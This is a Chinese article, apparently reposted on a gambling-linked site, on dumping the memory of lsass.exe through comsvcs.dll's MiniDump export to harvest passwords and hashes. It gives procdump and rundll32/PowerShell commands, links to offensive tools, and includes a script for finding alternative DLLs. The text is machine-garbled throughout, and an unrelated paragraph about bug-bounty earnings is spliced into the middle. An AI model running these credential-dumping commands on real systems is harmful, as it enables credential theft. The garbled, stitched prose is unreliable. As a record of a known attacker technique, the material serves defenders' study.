《MiniDumpWriteDump via COM+ Services DLL》的应用测试 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

《MiniDumpWriteDump via COM+ Services DLL》的应用测试

申博_新闻事件 申博 57次浏览 已收录 0个评论

0x00 媒介

近来进修了odzhan文章中引见的一个技能,运用C:\windows\system32\comsvcs.dll的导出函数MiniDump能够dump指定历程的内存文件。

文章地点:

MiniDumpWriteDump via COM+ Services DLL

本文将要连系本身的履历,补充在测试过程当中须要注重的处所,扩大要领,剖析应用思绪。编写powershell剧本,完成自动化扫描体系目次下一切dll的导出函数,检察是不是存在其他可用的dll,引见剧本完成的细节。

0x01 简介

本文将要引见以下内容:

· dump指定历程内存文件的经常使用要领

· 运用comsvcs.dll完成dump指定历程内存文件的要领

· 编写剧本完成自动化扫描dll的导出函数

· 应用剖析

0x02 dump指定历程内存文件的经常使用要领

在渗入测试中,最经常使用的要领是经由过程dump历程lsass.exe,从中取得明文口令和hash

在原理上都是运用API MiniDumpWriteDump,参考资料:

https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump

经常使用的完成要领以下:

1.procdump

参数以下:

procdump.exe -accepteula -ma lsass.exe lsass.dmp

2.c++完成

https://github.com/killswitch-GUI/minidump-lib

3.powershell完成

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1

4.c#完成

https://github.com/GhostPack/SharpDump

0x03 运用comsvcs.dll完成dump指定历程内存文件的要领

odzhan在文中给出了三种要领。

1.经由过程rundll32

示例参数以下:

rundll32 C:\windows\system32\comsvcs.dll, MiniDump 808 C:\test\lsass.dmp full

示例中lsass.exe的pid为808。

注:此处须要注重权限的题目,在dump指定历程内存文件时,须要开启SeDebugPrivilege权限。

管理员权限的cmd下,默许支撑SeDebugPrivilege权限,然则状况为Disabled,以下图:

《MiniDumpWriteDump via COM+ Services DLL》的应用测试

所以说,直接在cmd下实行rundll32的敕令尝试dump指定历程内存文件时,因为没法开启SeDebugPrivilege权限,所以会失利。

这里给出我的一个解决要领:

管理员权限的powershell下,默许支撑SeDebugPrivilege权限,而且状况为Enabled,以下图:

《MiniDumpWriteDump via COM+ Services DLL》的应用测试

所以,这里能够经由过程powershell实行rundll32的敕令完成,示例敕令以下:

powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 808 C:\test\lsass.dmp full"

2.经由过程vbs完成

原文供应了完全的完成代码。

实行的参数以下:

cscript 1.vbs lsass.exe

vbs剧本起首开启SeDebugPrivilege权限,接着实行rundll32的敕令,测试胜利。

3.经由过程c完成

原文供应了完全的完成代码。

你想成为百万富翁吗?来看看搞安全的致富之路

近日,HackerOne发布了2019年黑客安全报告。其中称有6名白帽黑客已经通过漏洞奖励计划获得百万美元。一共有超过45万白帽子在HackerOne桑注册并提交了漏洞,而其中90%年龄小于35岁。 今年3月,HackerOne宣布19岁的阿根廷黑客Santiago Lopez(@try_to_hack)成为世界上第一个通过漏洞奖励计划获得百万美元奖励的白帽子。截至到8月,一共有超过6位白帽子获得超百万美元奖励,其中包括

代码先开启SeDebugPrivilege权限,再挪用comsvcs.dll的导出函数MiniDumpW,测试胜利。

0x04 编写剧本完成自动化扫描dll的导出函数

进修完odzhan的文章今后,我产生了一个疑问:

Windows体系目次下是不是存在其他可用的dll?

因而,我尝试经由过程剧本对体系目次下一切dll的导出函数举行挑选,检察是不是包括导出函数MiniDumpW

剧本完成上须要斟酌以下两个题目:

1.遍历指定目次,猎取一切dll

遍历途径C:\windows的测试代码以下:

ForEach($file in (Get-ChildItem -recurse -Filter "*.dll" -Path 'C:\windows'  -ErrorAction SilentlyContinue )) 
{
    $file.PSPath
}

因为存在多级目次,这里须要取得dll的绝对途径,而$file.PSPath的花样为Microsoft.PowerShell.Core\FileSystem::C:\windows\RtlExUpd.dll,现实途径须要去除前缀。

优化后的代码以下:

ForEach($file in (Get-ChildItem -recurse -Filter "*.dll" -Path 'C:\windows'  -ErrorAction SilentlyContinue )) 
{
    $file.PSPath.Substring($file.PSPath.IndexOf(":")+2)
}

2.取得指定dll的导出函数

这里能够参考https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-Exports.ps1

在此基础上举行优化,完成全部流程的自动化处置惩罚。

完全代码已上传至GitHub,地点以下:

https://github.com/3gstudent/Homework-of-Powershell/blob/master/Get-AllExports.ps1

对C:\Windows举行挑选的代码以下:

Import-Module ./Get-AllExports.ps1
$Path = 'C:\Windows'
ForEach($file in (Get-ChildItem -recurse -Filter "*.dll" -Path $Path  -ErrorAction SilentlyContinue )) 
{
#   $file.PSPath.Substring($file.PSPath.IndexOf(":")+2)
    Get-Exports -DllPath $file.PSPath.Substring($file.PSPath.IndexOf(":")+2)
}

测试体系:Win7x64

部份效果:

[+] C:\windows\system32\comsvcs.dll-->MiniDumpW
[+] C:\windows\system32\dbghelp.dll-->MiniDumpReadDumpStream
[+] C:\windows\system32\dbghelp.dll-->MiniDumpWriteDump
[+] C:\Windows\Syswow64\comsvcs.dll-->MiniDumpW
[+] C:\Windows\Syswow64\dbghelp.dll-->MiniDumpReadDumpStream
[+] C:\Windows\Syswow64\dbghelp.dll-->MiniDumpWriteDump
[+] C:\Windows\Microsoft.NET\Framework\v2.0.50727\SOS.dll-->MinidumpMode
[+] C:\Windows\Microsoft.NET\Framework\v2.0.50727\SOS.dll-->Minidumpmode
[+] C:\Windows\Microsoft.NET\Framework\v2.0.50727\SOS.dll-->minidumpmode
[+] C:\Windows\Microsoft.NET\Framework\v4.0.30319\SOS.dll-->MinidumpMode
[+] C:\Windows\Microsoft.NET\Framework\v4.0.30319\SOS.dll-->Minidumpmode
[+] C:\Windows\Microsoft.NET\Framework\v4.0.30319\SOS.dll-->minidumpmode
[+] C:\Windows\Microsoft.NET\Framework64\v2.0.50727\SOS.dll-->MinidumpMode
[+] C:\Windows\Microsoft.NET\Framework64\v2.0.50727\SOS.dll-->Minidumpmode
[+] C:\Windows\Microsoft.NET\Framework64\v2.0.50727\SOS.dll-->minidumpmode
[+] C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SOS.dll-->MinidumpMode
[+] C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SOS.dll-->Minidumpmode
[+] C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SOS.dll-->minidumpmode
[+] C:\Windows\winsxs\amd64_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_ceb756d4b98f01a4\comsvcs.dll-->MiniDumpW
[+] C:\Windows\winsxs\amd64_microsoft-windows-imageanalysis_31bf3856ad364e35_6.1.7601.17514_none_a6821d2940c2bcdc\dbghelp.dll-->MiniDumpReadDumpStream
[+] C:\Windows\winsxs\amd64_microsoft-windows-imageanalysis_31bf3856ad364e35_6.1.7601.17514_none_a6821d2940c2bcdc\dbghelp.dll-->MiniDumpWriteDump
[+] C:\Windows\winsxs\x86_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_7298bb510131906e\comsvcs.dll-->MiniDumpW
[+] C:\Windows\winsxs\x86_microsoft-windows-imageanalysis_31bf3856ad364e35_6.1.7601.17514_none_4a6381a588654ba6\dbghelp.dll-->MiniDumpReadDumpStream
[+] C:\Windows\winsxs\x86_microsoft-windows-imageanalysis_31bf3856ad364e35_6.1.7601.17514_none_4a6381a588654ba6\dbghelp.dll-->MiniDumpWriteDump

测试效果以下:

1.关于差别构造的历程,可用的dll差别

关于32位的历程,能够运用32位和64位的dll:

· C:\windows\system32\comsvcs.dll

· C:\Windows\Syswow64\comsvcs.dll

· C:\Windows\winsxs\amd64_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_ceb756d4b98f01a4\comsvcs.dll

· C:\Windows\winsxs\x86_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_7298bb510131906e\comsvcs.dll

关于64位的历程,能够运用64位的dll:

· C:\windows\system32\comsvcs.dll

· C:\Windows\winsxs\amd64_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_ceb756d4b98f01a4\comsvcs.dll

没法运用32位的dll:

· C:\Windows\Syswow64\comsvcs.dll

· C:\Windows\winsxs\x86_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_7298bb510131906e\comsvcs.dll

2.dbghelp.dll对应API MiniDumpWriteDump

3.SOS.dll中的导出函数minidumpmode

用于防备在运用minidump时实行非平安敕令。0示意禁用这个功用,1示意启用。默许为0

0x05 应用剖析

假如想要dump指定历程的内存文件,能够运用新的要领,示例敕令以下:

powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 808 C:\test\lsass.dmp full"

个中comsvcs.dll能够替换为以下dll:

· C:\Windows\Syswow64\comsvcs.dll

· C:\Windows\winsxs\amd64_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_ceb756d4b98f01a4\comsvcs.dll

· C:\Windows\winsxs\x86_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_7298bb510131906e\comsvcs.dll

这类要领的长处是不须要上传文件,运用体系默许包括的dll就能够完成。

0x06 小结

本文在odzhan文章的基础上,补充在测试过程当中须要注重的处所,扩大要领,剖析应用思绪。编写powershell剧本,完成自动化扫描体系目次下一切dll的导出函数。

原文地点: https://www.4hou.com/technology/20146.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明《MiniDumpWriteDump via COM+ Services DLL》的应用测试
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址